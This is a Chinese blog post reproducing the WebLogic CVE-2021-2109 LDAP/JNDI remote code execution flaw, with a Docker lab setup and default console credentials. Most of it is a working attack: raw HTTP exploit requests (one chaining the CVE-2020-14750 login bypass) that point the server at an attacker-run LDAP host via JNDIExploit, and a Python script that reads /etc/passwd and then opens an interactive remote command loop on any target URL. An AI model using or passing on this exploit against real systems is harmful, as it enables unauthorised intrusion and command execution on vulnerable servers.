Weblogic LDAP 远程代码执行漏洞（CVE-2021-2109）

最新推荐文章于 2024-08-05 15:04:26 发布

安服仔

最新推荐文章于 2024-08-05 15:04:26 发布

阅读量1.2k

点赞数

分类专栏：漏洞利用文章标签： weblogic docker

无

本文链接：https://blog.csdn.net/dreamerrrrrr/article/details/113156582

版权

漏洞利用专栏收录该内容

3 篇文章 0 订阅

订阅专栏

CVE-2021-2109 Weblogic Server远程代码执行漏洞

影响范围

WebLogic Server 10.3.6.0.0
WebLogic Server 12.1.3.0.0
WebLogic Server 12.2.1.3.0
WebLogic Server 12.2.1.4.0
WebLogic Server 14.1.1.0.0

环境搭建

这个怎么搭都行，推荐采用docker镜像，例如以下两个docker镜像

采用vulhub/weblogic/CVE-2020-14882的镜像（WebLogic Server 版本: 12.2.1.3.0）
采用ismaleiva90/weblogic12镜像（WebLogic Server 版本: 12.1.3.0.0）
(docker run -d -p 49163:7001 -p 49164:7002 -p 49165:5556 ismaleiva90/weblogic12:latest)
(User: weblogic Pass: welcome1)

手动搭建环境的话注意weblogic环境的JDK版本，需低于下图所示的版本（JDK 6u201、7u191、8u182、11.0.1版本或以上不受此漏洞的影响）：

复现（两种方法）

方法一、需登录Weblogic控制台

1. 启动 LDAP服务+HTTP服务

root@dream2:/root/JNDIExploit # java -jar JNDIExploit-v1.11.jar -i 158.247.x.x
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8080...

2. 上POC:（抓取登陆时的数据包修改ldap链接）

POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://158.247.x;x:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 139.180.x.x:49163
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
cmd:whoami
Cookie:  ADMINCONSOLESESSION=8xUkHS93pNBdw9iRlb1XOoH5Iy5qm65NmKad54eCEtDI2PErEIXy!-181493417
Connection: close

ldap链接处注意分号（IP的第三个点）

方法二、配合`CVE-2020-14750`未授权访问漏洞（无需登录控制台）

该方法实现需要目标系统同时存在Weblogic Server CVE-2020-14750未授权访问漏洞

1. 启动LDAP服务+HTTP服务

2. 上POC

POST /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.1;72:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 139.180.x.x:49163
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
cmd:pwd
Connection: close

利用脚本

import requests
import sys
import re
requests.packages.urllib3.disable_warnings()
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mVersion: Weblogic 多个版本                                           \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+  \033[36mLDAP        >>> ldap://xxx.xxx.xxx;xxx:1389                         \033[0m')
    print('+------------------------------------------')

def POC_1(target_url, ldap_url, cmd):
    vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)
    print('\033[36m[o] 正在请求: {}'.format(vuln_url))
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "cmd": cmd
    }
    try:
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        if "root:" in response.text:
            print("\033[32m[o] 目标{}存在漏洞 \033[0m".format(target_url))
            print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))
        else:
            print("\033[31m[x] 命令执行失败 \033[0m")
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m", e)

def POC_2(target_url, ldap_url, cmd):
    vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)
    print('\033[36m[o] 正在请求: {}'.format(vuln_url))
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "cmd": cmd
    }
    try:
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        print("\033[32m[o] 响应为:\n{} \033[0m".format(response))
    except Exception as e:
        print("\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m", e)

if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    ldap_url = str(input("\033[35mLdap >>> \033[0m"))
    POC_1(target_url, ldap_url, cmd="cat /etc/passwd")

    while True:
        cmd = input("\033[35mCmd >>> \033[0m")
        if cmd == "exit":
            sys.exit(0)
        else:
            POC_2(target_url, ldap_url, cmd)